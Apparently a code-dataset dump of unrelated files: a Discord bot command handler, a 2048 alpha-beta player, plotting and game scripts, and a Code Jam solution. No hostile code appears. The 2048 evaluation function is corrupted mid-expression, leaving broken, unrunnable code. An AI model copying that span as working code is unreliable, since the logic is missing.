False:\n return True\n else:\n # Invalid config\n return False\n else:\n # No admin set == Unprivileged\n return True\n\n def get_member_named(self, guild, name, allow_insensitive=True):\n result = None\n members = guild.members\n if len(name) > 5 and name[-5] == \"#\":\n # The 5 length is checking to see if #0000 is in the string,\n # as a#0000 has a length of 6, the minimum for a potential\n # discriminator lookup.\n potential_discriminator = name[-4:]\n\n # do the actual lookup and return if found\n # if it isn't found then we'll do a full name lookup below.\n result = discord.utils.get(\n members, name=name[:-5], discriminator=potential_discriminator\n )\n if result is not None:\n return result\n\n result = discord.utils.find(lambda m: m.name == name, members)\n if result is not None:\n return result\n\n result = discord.utils.find(lambda m: m.nick == name, members)\n if result is not None:\n return result\n\n if not allow_insensitive:\n return None\n\n name = name.lower()\n result = discord.utils.find(lambda m: name == m.name.lower(), members)\n if result is not None:\n return result\n\n result = discord.utils.find(lambda m: name == m.nick.lower(), members)\n if result is not None:\n return result\n\n def accessible_commands(self, message, user=None):\n global config\n if message.author.id in config[\"moderation\"].get(\"blacklist-user-usage\"):\n return []\n admin = self.is_admin(message, user=user)\n if message.guild:\n guild_id = message.guild.id\n else:\n guild_id = -1\n admin[\"\"] = True\n admin[None] = True\n admin[False] = True\n if admin[\"global\"]:\n\n def command_filter(c):\n return (\n admin[c.get(\"admin\")]\n and (guild_id in c.get(\"whitelist_guild\", [guild_id]))\n and (\n (guild_id not in c.get(\"blacklist_guild\", []))\n or config[\"discord\"].get(\"globalAdminIgnoresBlacklists\", True)\n )\n )\n\n elif admin[\"server\"]:\n\n def command_filter(c):\n return (\n admin[c.get(\"admin\")]\n and (guild_id in c.get(\"whitelist_guild\", [guild_id]))\n and (\n (guild_id not in c.get(\"blacklist_guild\", []))\n or config[\"discord\"].get(\"serverAdminIgnoresBlacklists\", False)\n )\n )\n\n elif admin[\"channel\"]:\n\n def command_filter(c):\n return (\n admin[c.get(\"admin\")]\n and (guild_id in c.get(\"whitelist_guild\", [guild_id]))\n and (\n (guild_id not in c.get(\"blacklist_guild\", []))\n or config[\"discord\"].get(\"channelAdminIgnoresBlacklists\", False)\n )\n )\n\n else:\n\n def command_filter(c):\n return (\n admin[c.get(\"admin\")]\n and (guild_id in c.get(\"whitelist_guild\", [guild_id]))\n and (guild_id not in c.get(\"blacklist_guild\", []))\n )\n\n try:\n return list(filter(command_filter, self.commands))\n except IndexError:\n return []\n\n def get_command(\n ch,\n target_trigger,\n message=None,\n mode=\"exact\",\n insensitive=True,\n min_args=0,\n max_args=99999,\n user=None,\n ):\n if insensitive:\n target_trigger = target_trigger.lower()\n if message:\n accessible_commands = ch.accessible_commands(message, user=user)\n else:\n accessible_commands = ch.commands\n if mode == \"keyword\":\n\n def query_filter(c):\n return (\n any(target_trigger in trigger for trigger in c[\"trigger\"])\n and min_args <= c.get(\"args_num\", 0) <= max_args\n )\n\n if mode == \"keyword_trie\":\n\n def query_filter(c):\n return (\n target_trigger.startswith(c[\"trigger\"])\n and min_args <= c.get(\"args_num\", 0) <= max_args\n )\n\n elif mode == \"description\":\n\n def query_filter(c):\n return (\n any(target_trigger in trigger for trigger in c[\"trigger\"])\n or target_trigger in c.get(\"description\", \"\").lower()\n and min_args <= c.get(\"args_num\", 0) <= max_args\n )\n\n else: # if mode == \"exact\":\n\n def query_filter(c):\n return (\n target_trigger in c[\"trigger\"]\n and min_args <= c.get(\"args_num\", 0) <= max_args\n )\n\n try:\n return list(filter(query_filter, accessible_commands))\n except IndexError:\n return []\n\n\nasync def help_function(message, client, args):\n global ch\n try:\n arg = None\n verbose = False\n public = False\n while len(args) > 0:\n arg = args[0]\n arg = arg.strip().lower()\n if arg == \"verbose\":\n verbose = True\n arg = None\n args = args[1:]\n elif arg == \"public\":\n public = True\n arg = None\n args = args[1:]\n else:\n arg = args[0]\n break\n\n if message.content.startswith(\"!man\"):\n public = True\n\n if ch.is_admin(message)[\"server\"] and public:\n target = message.channel\n else:\n target = message.author\n\n if len(args) == 0:\n arg = None\n\n if arg:\n keyword = \" \".join(args).strip().lower()\n if keyword.startswith(\"!\"):\n accessible_commands = ch.get_command(keyword, message, mode=\"keyword\")\n else:\n accessible_commands = ch.get_command(\n keyword, message, mode=\"description\"\n )\n\n # Set verbose if filtered list\n if len(accessible_commands) < 5:\n verbose = True\n public = True\n else:\n try:\n accessible_commands = ch.accessible_commands(message)\n except IndexError:\n accessible_commands = []\n if not verbose:\n try:\n accessible_commands = list(\n filter(lambda c: not c.get(\"hidden\", False), accessible_commands)\n )\n except IndexError:\n accessible_commands = []\n if target == message.author and len(accessible_commands):\n await message.add_reaction(\"✅\")\n if len(args) > 0 and len(accessible_commands) and verbose:\n helpMessageBody = \"\\n\".join(\n [\n f'__{command[\"module\"]}__ `{\"` or `\".join(command[\"trigger\"])}`: {command[\"description\"]}\\nMinimum Arguments ({command[\"args_num\"]}): {\" \".join(command[\"args_name\"])}'\n for command in accessible_commands\n ]\n )\n elif len(accessible_commands) == 0:\n helpMessageBody = \"No commands accessible, check your input\"\n else:\n helpMessageBody = \"\\n\".join(\n [\n f'__{command[\"module\"]}__ `{\"` or `\".join(command[\"trigger\"][:2])}`: {command[\"description\"]}'\n for command in accessible_commands\n ]\n )\n await messagefuncs.sendWrappedMessage(helpMessageBody, target)\n except Exception as e:\n exc_type, exc_obj, exc_tb = exc_info()\n logger.error(f\"HF[{exc_tb.tb_lineno}]: {type(e).__name__} {e}\")\n await message.add_reaction(\"🚫\")\n\n\ndef dumpconfig_function(message, client, args):\n global config\n if message.guild:\n dconfig = ch.scope_config(guild=message.guild)\n else:\n dconfig = config\n if len(args) == 1:\n return (\n \"```json\\n\"\n + ujson.dumps(dconfig.get(\" \".join(args)), ensure_ascii=False, indent=4)\n + \"```\"\n )\n else:\n return \"```json\\n\" + ujson.dumps(config, ensure_ascii=False, indent=4) + \"```\"\n\n\nclass Hotword:\n def __init__(self, ch, word, hotword, owner):\n self.owner = owner\n if hotword.get(\"target_emoji\"):\n if (\n len(hotword[\"target_emoji\"]) > 2\n and hotword[\"target_emoji\"] not in UNICODE_EMOJI\n ):\n intended_target_emoji = None\n if type(owner) == discord.Member:\n intended_target_emoji = discord.utils.get(\n owner.guild.emojis, name=hotword[\"target_emoji\"]\n )\n if not intended_target_emoji:\n intended_target_emoji = discord.utils.get(\n ch.client.emojis, name=hotword[\"target_emoji\"]\n )\n if intended_target_emoji:\n\n async def add_emoji(message, client, args):\n await message.add_reaction(intended_target_emoji)\n\n self.target = [add_emoji]\n else:\n raise ValueError(\"Target emoji not found\")\n else:\n\n async def add_emoji(message, client, args):\n await message.add_reaction(hotword[\"target_emoji\"])\n\n self.target = [add_emoji]\n elif hotword.get(\"dm_me\"):\n\n async def dm_me(owner, message, client, args):\n try:\n await messagefuncs.sendWrappedMessage(\n f\"Hotword {word} triggered by https://discordapp.com/channels/{message.guild.id}/{message.channel.id}/{message.id}\",\n client.get_user(owner.id),\n )\n except AttributeError:\n logger.debug(\n f\"Couldn't send message because owner couln't be dereferenced for {word} in {message.guild}\"\n )\n\n self.target = [partial(dm_me, self.owner)]\n elif owner == \"guild\" and hotword.get(\"target_function\"):\n self.target = [partial(ch.get_command, target_function_name)]\n else:\n raise ValueError(\"No valid target\")\n flags = 0\n if hotword.get(\"insensitive\"):\n flags = re.IGNORECASE\n self.user_restriction = hotword.get(\"user_restriction\", [])\n if type(owner) is not str and hotword.get(\"target_emoji\"):\n self.user_restriction.append(owner.id)\n self.regex = hotword[\"regex\"]\n self.compiled_regex = re.compile(hotword[\"regex\"], flags)\n\n def __iter__(self):\n return {\n \"regex\": self.regex,\n \"compiled_regex\": self.compiled_regex,\n \"owner\": self.owner,\n \"user_restriction\": self.user_restriction,\n \"target\": self.target,\n }\n\n\ndef load_guild_config(ch):\n def load_hotwords(ch):\n global regex_cache\n try:\n for guild in ch.client.guilds:\n guild_config = ch.scope_config(guild=guild, mutable=True)\n if guild_config and guild_config.get(\"hotwords\", \"\").startswith(\"{\"):\n try:\n hotwords = ujson.loads(guild_config.get(\"hotwords\", \"{}\"))\n except ValueError as e:\n logger.error(e)\n continue\n if not guild_config.get(\"hotwords_loaded\"):\n guild_config[\"hotwords_loaded\"] = \"\"\n for word in hotwords.keys():\n try:\n hotword = Hotword(ch, word, hotwords[word], \"guild\")\n except ValueError as e:\n logger.error(f\"Parsing {word} failed: {e}\")\n continue\n hotwords[word] = hotword\n guild_config[\"hotwords_loaded\"] += \", \" + word\n guild_config[\"hotwords_loaded\"] = guild_config[\n \"hotwords_loaded\"\n ].lstrip(\", \")\n if not regex_cache.get(guild.id):\n regex_cache[guild.id] = []\n logger.debug(\n f\"Extending regex_cache[{guild.id}] with {hotwords.values()}\"\n )\n regex_cache[guild.id].extend(hotwords.values())\n except NameError:\n pass\n except Exception as e:\n exc_type, exc_obj, exc_tb = exc_info()\n logger.error(f\"LGHF[{exc_tb.tb_lineno}]: {type(e).__name__} {e}\")\n\n def load_blacklists(ch):\n for guild in ch.client.guilds:\n guild_config = ch.scope_config(guild=guild)\n for command_name in guild_config.get(\"blacklist-commands\", []):\n ch.blacklist_command(command_name, guild.id)\n for guild in ch.client.guilds:\n guild_config = ch.scope_config(guild=guild)\n for command_name in guild_config.get(\"whitelist-commands\", []):\n ch.whitelist_command(command_name, guild.id)\n for guild in ch.client.guilds:\n guild_config = ch.scope_config(guild=guild)\n for command_name in guild_config.get(\"optinlist-commands\", []):\n ch.whitelist_limit_command(command_name, guild.id)\n\n logger.debug(\"LBL\")\n load_blacklists(ch)\n logger.debug(\"LGHW\")\n load_hotwords(ch)\n\n\n\"\"\"\nfletcher=# \\d user_preferences\n Table \"public.user_preferences\"\n Column | Type | Collation | Nullable | Default\n----------+--------+-----------+----------+---------\n user_id | bigint | | not null |\n guild_id | bigint | | not null |\n key | text | | not null |\n value | text | | |\nIndexes:\n \"user_prefs_idx\" btree (user_id, guild_id, key)\n\"\"\"\n\n\ndef load_user_config(ch):\n def load_tuppers(ch):\n global config\n cur = conn.cursor()\n cur.execute(\n \"\"\"\nSELECT\n p.user_id user_id, p.guild_id guild_id,\n LTRIM(o.prefix) prefix,\n n.value nick,\n a.value avatar\nFROM user_preferences p\n CROSS JOIN LATERAL unnest(string_to_array(p.value, ',')) AS o(prefix)\n LEFT JOIN user_preferences a\n ON p.user_id = a.user_id AND COALESCE(p.guild_id, 0) = COALESCE(a.guild_id, 0) AND a.key = 'tupper-avatar-' || LTRIM(o.prefix)\n LEFT JOIN user_preferences n\n ON p.user_id = n.user_id AND COALESCE(p.guild_id, 0) = COALESCE(n.guild_id, 0) AND n.key = 'tupper-nick-' || LTRIM(o.prefix)\nWHERE p.key = 'tupper';\n\"\"\"\n )\n tuptuple = cur.fetchone()\n while tuptuple:\n if not config.get(\"sync\"):\n config[\"sync\"] = {}\n ignorekey = f\"tupper-ignore-{'m'+str(tuptuple[0])}\"\n if not config[\"sync\"].get(ignorekey):\n config[\"sync\"][ignorekey] = []\n config[\"sync\"][ignorekey].append(tuptuple[2])\n replacekey = f\"tupper-replace-{tuptuple[1]}\"\n config[\"sync\"][f\"{replacekey}-{tuptuple[0]}-{tuptuple[2]}-nick\"] = tuptuple[\n 3\n ]\n if tuptuple[4]:\n config[\"sync\"][\n f\"{replacekey}-{tuptuple[0]}-{tuptuple[2]}-avatar\"\n ] = tuptuple[4]\n logger.debug(f\"{replacekey}-{tuptuple[0]}-{tuptuple[2]}: {tuptuple[3:]}\")\n tuptuple = cur.fetchone()\n conn.commit()\n\n def load_hotwords(ch):\n global regex_cache\n global config\n try:\n cur = conn.cursor()\n cur.execute(\n \"SELECT user_id, guild_id, value FROM user_preferences WHERE key = 'hotwords';\"\n )\n hottuple = cur.fetchone()\n while hottuple:\n [user_id, guild_id, hotword_json] = hottuple\n logger.debug(f\"Loading {user_id} on {guild_id}: {hotword_json}\")\n guild_config = ch.scope_config(guild=guild_id, mutable=True)\n try:\n hotwords = ujson.loads(hotword_json)\n except ValueError as e:\n exc_type, exc_obj, exc_tb = exc_info()\n logger.info(f\"LUHF[{exc_tb.tb_lineno}]: {type(e).__name__} {e}\")\n hottuple = cur.fetchone()\n continue\n if not guild_config.get(\"hotwords_loaded\"):\n guild_config[\"hotwords_loaded\"] = \"\"\n for word in hotwords.keys():\n try:\n hotword = Hotword(\n ch,\n word,\n hotwords[word],\n ch.client.get_guild(guild_id).get_member(user_id),\n )\n except (ValueError, KeyError) as e:\n logger.error(f\"Parsing {word} for {user_id} failed: {e}\")\n continue\n except AttributeError as e:\n logger.info(\n f\"Parsing {word} for {user_id} failed: User is not on server {e}\"\n )\n continue\n hotwords[word] = hotword\n guild_config[\"hotwords_loaded\"] += \", \" + word\n if not regex_cache.get(guild_id):\n regex_cache[guild_id] = []\n add_me = list(filter(lambda hw: type(hw) == Hotword, hotwords.values()))\n logger.debug(f\"Extending regex_cache[{guild_id}] with {add_me}\")\n regex_cache[guild_id].extend(add_me)\n hottuple = cur.fetchone()\n conn.commit()\n except Exception as e:\n exc_type, exc_obj, exc_tb = exc_info()\n logger.error(f\"LUHF[{exc_tb.tb_lineno}]: {type(e).__name__} {e}\")\n\n def load_react_notifications(ch):\n cur = conn.cursor()\n cur.execute(\n \"SELECT user_id, guild_id, key, value FROM user_preferences WHERE key = 'subscribe';\"\n )\n subtuple = cur.fetchone()\n while subtuple:\n guild_config = ch.scope_config(guild=int(subtuple[1]), mutable=True)\n if not guild_config.get(\"subscribe\"):\n guild_config[\"subscribe\"] = {}\n if not guild_config[\"subscribe\"].get(int(subtuple[3])):\n guild_config[\"subscribe\"][int(subtuple[3])] = []\n guild_config[\"subscribe\"][int(subtuple[3])].append(int(subtuple[0]))\n subtuple = cur.fetchone()\n conn.commit()\n\n logger.debug(\"LRN\")\n load_react_notifications(ch)\n logger.debug(\"LT\")\n load_tuppers(ch)\n logger.debug(\"LUHW\")\n load_hotwords(ch)\n\n\ndef preference_function(message, client, args):\n global ch\n if len(args) > 1:\n value = \" \".join(args[1:])\n else:\n value = None\n return (\n \"```\"\n + ch.user_config(\n message.author.id,\n message.guild.id if message.guild else None,\n args[0],\n value,\n )\n + \"```\"\n )\n\n\nasync def dumptasks_function(message, client, args):\n tasks = await client.loop.all_tasks()\n await messagefuncs.sendWrappedMessage(tasks, message.author)\n\n\nasync def autounload(ch):\n try:\n await ch.runner.cleanup()\n except Exception as e:\n logger.debug(e)\n\n\ndef autoload(ch):\n global client\n global config\n if ch is None:\n ch = CommandHandler(client)\n ch.add_command(\n {\n \"trigger\": [\"!dumptasks\"],\n \"function\": dumptasks_function,\n \"async\": True,\n \"hidden\": True,\n \"admin\": \"global\",\n \"args_num\": 0,\n \"args_name\": [],\n \"description\": \"Dump current task stack\",\n }\n )\n ch.add_command(\n {\n \"trigger\": [\"!dumpbridges\"],\n \"function\": lambda message, client, args: \", \".join(\n ch.webhook_sync_registry.keys()\n ),\n \"async\": False,\n \"hidden\": True,\n \"admin\": \"global\",\n \"args_num\": 0,\n \"args_name\": [],\n \"description\": \"Output all bridges\",\n }\n )\n ch.add_command(\n {\n \"trigger\": [\"!dumpconfig\"],\n \"function\": dumpconfig_function,\n \"async\": False,\n \"hidden\": True,\n \"admin\": \"global\",\n \"args_num\": 0,\n \"args_name\": [],\n \"description\": \"Output current config\",\n }\n )\n ch.add_command(\n {\n \"trigger\": [\"!preference\"],\n \"function\": preference_function,\n \"async\": False,\n \"args_num\": 1,\n \"args_name\": [\"key\", \"[value]\"],\n \"description\": \"Set or get user preference for this guild\",\n }\n )\n ch.add_command(\n {\n \"trigger\": [\"!help\", \"!man\"],\n \"function\": help_function,\n \"async\": True,\n \"args_num\": 0,\n \"args_name\": [],\n \"description\": \"List commands and arguments\",\n }\n )\n ch.user_config.cache_clear()\n if config and ch.client:\n load_user_config(ch)\n if len(ch.commands) > 5:\n load_guild_config(ch)\n ch.client.loop.create_task(run_web_api(config, ch))\n logging.getLogger(\"discord.voice_client\").setLevel(\"CRITICAL\")\n\n\nasync def run_web_api(config, ch):\n app = Application()\n app.router.add_post(\"/\", ch.web_handler)\n\n runner = AppRunner(app)\n await runner.setup()\n ch.runner = runner\n site = web.TCPSite(\n runner,\n config.get(\"webconsole\", {}).get(\"hostname\", \"::\"),\n config.get(\"webconsole\", {}).get(\"port\", 25585),\n )\n try:\n await site.start()\n except OSError:\n pass\n ch.site = site\n","repo_name":"l1n/fletcher","sub_path":"commandhandler.py","file_name":"commandhandler.py","file_ext":"py","file_size_in_byte":82462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13226906378","text":"Inf = float('inf')\r\nimport numpy as np\r\nWeight_L = np.array((1.0,1.05,1.1,1.15,1.2,1.2,1.2,1.2))\r\nWeight_R = np.array((1.2,1.2,1.2,1.2,1.15,1.1,1.05,1.0))\r\ndef getmark(board, isFirst:bool):\r\n \"评估函数\"\r\n Value, Belong = np.array(board.getRaw()).transpose((2,0,1))\r\n return np.sum(((Belong<>1,not Gamemode&1\r\n if depth >= 6 or Round == 500: #大于最大深度时\r\n alpha = getmark(board,isFirst)\r\n return (alpha,alpha)\r\n #以下为一般情况\r\n if mode == 0: #落子阶段\r\n #第一步,找出全部可行落子\r\n Self_part = board.getNext(isFirst,Round) #自己棋盘落子的位置\r\n #available为全部可行位置\r\n available = [Self_part] if Self_part else []\r\n if Round > 30:available += board.getNone(not isFirst) #对手棋盘可落子的位置\r\n #第二步,迭代模拟 \r\n if len(available) == 0: #无合法移动的特殊情况\r\n if not depth&1:return -Inf, -Inf\r\n return simulation(depth+1,Round,Gamemode+1,not is_max,board,alpha,beta)\r\n #一般情况\r\n result = available[0]\r\n for position in available: #子树对决\r\n new_board = board.copy()\r\n new_board.add(isFirst,position)\r\n alpha_beta = simulation(depth+1,Round,Gamemode+1,not is_max,new_board,alpha,beta)\r\n #更新alpha-beta\r\n if is_max:\r\n if not depth:old_alpha = alpha #对于树根,需要比较alpha值的变化\r\n alpha = max(alpha, *alpha_beta)\r\n if not depth and alpha > old_alpha: result = position #当alpha值变大时,落子位置更新\r\n else: beta = min(beta, *alpha_beta)\r\n if alpha >= beta: break#alpha-beta剪枝\r\n \r\n #返回结果\r\n if depth:return alpha, beta\r\n return result\r\n else: #合并阶段\r\n No_available = True\r\n for move in range(4):\r\n #跳过非法合并\r\n new_board = board.copy()\r\n if not new_board.move(isFirst, move):continue\r\n elif No_available:\r\n No_available = False\r\n if not depth: result = move\r\n #子树对决\r\n alpha_beta = simulation(depth+1,Round+1-isFirst,(Gamemode+1)&3,not is_max,new_board,alpha,beta = beta)\r\n #更新alpha-beta\r\n if is_max:\r\n if not depth:old_alpha = alpha#对于树根,需要比较alpha值的变化 \r\n alpha = max(alpha, *alpha_beta)\r\n if not depth and alpha > old_alpha:result = move#当alpha值变大时,落子位置更新 \r\n else:beta = min(beta, *alpha_beta)\r\n if alpha >= beta:break#alpha-beta剪枝 \r\n #无合法移动的特殊情况\r\n if No_available:\r\n if not depth&1: return -Inf, -Inf\r\n return simulation(depth+1,Round + 1-isFirst,(Gamemode+1)&3,not is_max,board,alpha,beta)\r\n else:\r\n if depth: return alpha, beta\r\n return result\r\nclass Player:\r\n def __init__(self, isFirst:bool, array:list):\r\n self.isFirst = isFirst\r\n def output(self, currentRound:int, board, mode:str):\r\n if mode == 'position':Gamemode = 1^self.isFirst # 给出己方下棋的位置 \r\n elif mode == 'direction':Gamemode = 2+(1^self.isFirst) # 给出己方合并的方向 \r\n else:return\r\n return simulation(0, currentRound,Gamemode,True,board,-Inf,Inf)\r\n","repo_name":"clbm/SESSDSA-2048-F19-X-ray-","sub_path":"α-β剪枝代码及调试/green light_2.py","file_name":"green light_2.py","file_ext":"py","file_size_in_byte":3711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19560091739","text":"import numpy as np \nimport matplotlib.pyplot as plt \n\n\na = 2\nb = 40\nc = 4\nd = 42\nxx = np.array([a,b])\nyy = np.array([c,d])\n\nmean_x = xx.mean()\nmean_y = yy.mean()\nstd_xx = xx.std()\nstd_yy = yy.std()\nmeans = [mean_x, mean_y]\nstd_x = std_xx/3\nstd_y = std_yy/3\n\ncorr = 0.7\n\ncovariance_crossed = std_x*std_y*corr\n\nvariance_x = std_x**2\nvariance_y = std_y**2\n\ncovs = [[variance_x, covariance_crossed],[covariance_crossed, variance_y]]\nprint(covs)\n\ntwo_dimensional_gaussian = np.random.multivariate_normal(means, covs, 1000).T\n\nplt.scatter(two_dimensional_gaussian[0], two_dimensional_gaussian[1])\nplt.show();\n","repo_name":"vitorpbarbosa7/data_science_general_concepts","sub_path":"49_bayesian_optmization/multivariate_normal/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31558244938","text":"class Budget(object):\n type = \"cinema\"\n value = \"50\"\n value_empty = \"\"\n type_empty = \"\"\n empty_text_value = \"Budget value is empty\"\n empty_text_type = \"Budget type is empty\"\n empty_budget = \"\"\"You don't have any budgets at the moment. Click the + (plus) button up top to get started.\n\nBudget Watch lets you create budgets, then track spending during the month.\"\"\"","repo_name":"alexandrerlf/Appium-Budget","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"397086","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 31 23:03:12 2021\r\n\r\n@author: dms10\r\n\"\"\"\r\n\r\ns = 0\r\nfor x in range(1, 11):\r\n s = s+x\r\n print(\"x:\", x, \"sum:\", s)","repo_name":"egyptai/Python","sub_path":"forrange20210531.py","file_name":"forrange20210531.py","file_ext":"py","file_size_in_byte":165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16982509656","text":"import pygame\nimport math\nfrom Objects import Bullet\nimport Settings as s\n\nclass Ship:\n\tdef __init__(self,x,y):\n\t\tself.centerpoint = (x,y) # center of the ship\t\t\n\t\tself.rotation = -90 #rotation in degrees\n\t\tself.directionvector = (math.cos(math.radians(self.rotation)),math.sin(math.radians(self.rotation))) #the tip of the ship\n\t\tself.backleft=(math.cos(math.radians(self.rotation+140)),math.sin(math.radians(self.rotation+140)))\n\t\tself.backright=(math.cos(math.radians(self.rotation+220)),math.sin(math.radians(self.rotation+220)))\n\t\tself.acceleration = 0.5\n\t\tself.minvelocity=1\n\t\tself.velocity = 0\n\t\tself.velocitymax = 10\n\t\tself.rotationspeed = 1\n\t\tself.scale = 20\n\t\tself.color=(255,255,255)\n\t\tself.bullets = []\n\t\tself.bullet_count=0\n\t\tself.shootcooldown=0\n\t\tself.debug=s.DEBUG\n\n\tdef shoot(self):\n\t\tif self.shootcooldown<=0:\n\t\t\tself.bullets.append(Bullet.Bullet(self.centerpoint[0],self.centerpoint[1],self.directionvector,self.bullet_count,self))\n\t\t\tself.bullet_count+=1\n\t\t\tself.shootcooldown=10\n\n\tdef getHitbox(self):\n\t\tx,y = self.centerpoint\n\t\treturn(x,y,self.scale/1.3)\n\n\tdef removeBullet(self,name):\n\t\tfor i in self.bullets:\n\t\t\tif i.id == name:\n\t\t\t\tprint(\"delete: \"+str(name))\n\t\t\t\tself.bullets.remove(i)\n\n\tdef getAABBShape(self,padding):\n\t\tx = (self.centerpoint[0]-self.scale)-padding\n\t\ty = (self.centerpoint[1]-self.scale)-padding\n\t\tw = ((self.centerpoint[0]+self.scale)+padding) -x\n\t\th =\t((self.centerpoint[1]+self.scale)+padding) -y\n\t\treturn (x,y,w,h)\n\n\n\tdef rotate(self,degrees):\n\t\tself.rotation +=degrees\n\t\tself.directionvector = (math.cos(math.radians(self.rotation)),math.sin(math.radians(self.rotation))) #the tip of the ship\n\t\tself.backleft=(math.cos(math.radians(self.rotation+140)),math.sin(math.radians(self.rotation+140)))\n\t\tself.backright=(math.cos(math.radians(self.rotation+220)),math.sin(math.radians(self.rotation+220)))\n\t\t\n\n\tdef move(self):\n\t\tif self.velocityself.minvelocity:\n\t\t\t\tself.velocity-= (self.acceleration*(self.velocity/10))\n\t\t\telif self.velocity0:\n\t\t\tself.shootcooldown-=1\n\t\tfor b in self.bullets:\n\t\t\tb.update()\n\t\tif cx<0-10:\n\t\t\tcx=9+s.WIDTH\n\t\telif cx>s.WIDTH+10:\n\t\t\tcx = -9\n\t\tif cy<0-10:\n\t\t\tcy=s.HEIGHT+9\n\t\telif cy>s.HEIGHT+10:\n\t\t\tcy=-9\n\t\tself.centerpoint= (round(cx+vx),round(cy+vy))\n\n\n\n\tdef draw(self,screen):\n\t\t#draw function manditory for objects.\n\t\tpoints = [(list(self.centerpoint)[0]+(list(self.directionvector)[0]*self.scale),list(self.centerpoint)[1]+(list(self.directionvector)[1]*self.scale))]\n\t\tpoints+= [(list(self.centerpoint)[0]+(list(self.backright)[0]*self.scale),list(self.centerpoint)[1]+(list(self.backright)[1]*self.scale))]\n\t\tpoints+= [(list(self.centerpoint)[0]+(list(self.backleft)[0]*self.scale),list(self.centerpoint)[1]+(list(self.backleft)[1]*self.scale))]\n\n\t\tfor b in self.bullets:\n\t\t\tb.draw(screen)\n\n\t\tpygame.draw.polygon(screen,self.color,points)\n\t\tpygame.draw.circle(screen, (255,0,0), self.centerpoint, 1)\n\n\n\t\t#Collision box\n\t\tif self.debug:\n\t\t\tpadding = 10\n\t\t\tx,y,w,h = self.getAABBShape(padding)\n\t\t\tpygame.draw.rect(screen, (0,0,255),pygame.Rect(x,y,w,h),1)\n\t\t\tcx,cy,cr= self.getHitbox()\n\t\t\tpygame.draw.circle(screen,(0,255,0),(cx,cy),math.floor(cr),1)\n","repo_name":"IrhaRs/Asteroids","sub_path":"Objects/Ship.py","file_name":"Ship.py","file_ext":"py","file_size_in_byte":3467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23588533641","text":"file = open(\"C-small-1-attempt0.in\", \"r\")\r\n# t = int(file.readline().strip(\"\\n\"))\r\nt = int(input().strip())\r\nfile_out = open(\"output.out\", \"w\")\r\n\r\nrisultato = \"\"\r\nfor m in range(t):\r\n # n, k = [int(x) for x in file.readline().strip(\"\\n\").split(\" \")]\r\n n, k = [int(x) for x in input().strip().split(\" \")]\r\n # u = float(file.readline().strip(\"\\n\"))\r\n u = float(input().strip())\r\n # p = sorted([float(x) for x in file.readline().strip(\"\\n\").split(\" \")])\r\n p = sorted([float(x) for x in input().strip().split(\" \")])\r\n fine = False\r\n i = 1\r\n while not fine:\r\n prob_media = (sum(p[:i]) + u) / i\r\n if i == len(p) or prob_media <= p[i]: fine = True\r\n else: i += 1\r\n prob = prob_media ** i\r\n for j in range(i, len(p)): prob *= p[j] \r\n risultato += \"Case #\" + str(m + 1) + \": \" + str(prob) + (\"\\n\" if m != t - 1 else \"\")\r\n \r\nprint(risultato)\r\n# file_out.write(risultato)\r\n# file_out.close()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_211/286.py","file_name":"286.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23561921471","text":"import sys\n\n\ndef print_case(n, solution):\n print(\"Case #{}: {}\".format(n, solution))\n\n\ndef is_tidy(number):\n str_num = str(number)\n for i in reversed(range(1, len(str_num))):\n if str_num[i] < str_num[i-1]:\n return False\n return True\n\ndef last_tidy_number(N):\n while not is_tidy(N):\n N -= 1\n\n return N\n\ndef first_come_down(N):\n str_num = str(N)\n for i in range(len(str_num)-1):\n if str_num[i] > str_num[i+1]:\n return i+1\n return -1\n\n\ndef subtract_rightmost(N, index):\n to_subtract = int(str(N)[index:])\n return N - to_subtract - 1\n\ndef last_tidy_number_optimized(N):\n while not is_tidy(N):\n i = first_come_down(N)\n if i > -1:\n N = subtract_rightmost(N, i)\n else:\n N -= 1\n\n return N\n\nif __name__ == '__main__':\n lines = sys.stdin.readlines()\n T = int(lines[0])\n\n\n i = 1\n while i <= T:\n N = int(lines[i])\n\n # print(subtract_rightmost(43111, 1))\n # print( first_come_down(N))\n print_case(i, last_tidy_number_optimized(N))\n i += 1\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/4552.py","file_name":"4552.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71037129155","text":"import numpy as np\nfrom PIL import Image\nimport os\nfrom collections import Counter\n\nfrom chipextractor.utils import *\n\n\nclass Dataset:\n\n def __init__(self, root, suffix='PNG', outlier_threshold=10, *args, **kwargs):\n self.data = []\n for path, _, flist in os.walk(root):\n for fname in flist:\n if fname.endswith(suffix):\n filename = os.path.join(path, fname)\n scrshot = Screenshot.from_file(filename, *args, **kwargs)\n scrshot.filename = filename\n self.data.append(scrshot)\n _, self.info = self.collective_refine_inplace(self.data, outlier_threshold)\n\n @property\n def colorful_chips(self):\n chip_list = []\n for scrshot in self:\n chip_list.extend(scrshot.colorful_chips)\n return chip_list\n\n @property\n def chips(self):\n chip_list = []\n for scrshot in self:\n chip_list.extend(scrshot.chips)\n return chip_list\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, item):\n return self.data[item]\n\n @staticmethod\n def collective_refine_inplace(screenshots, outlier_threshold=10):\n height_counter = Counter()\n width_counter = Counter()\n for scrshot in screenshots:\n height_counter.update(scrshot.coords[:, 2])\n width_counter.update(scrshot.coords[:, 3])\n h = height_counter.most_common(1)[0][0]\n w = width_counter.most_common(1)[0][0]\n for scrshot in screenshots:\n _ 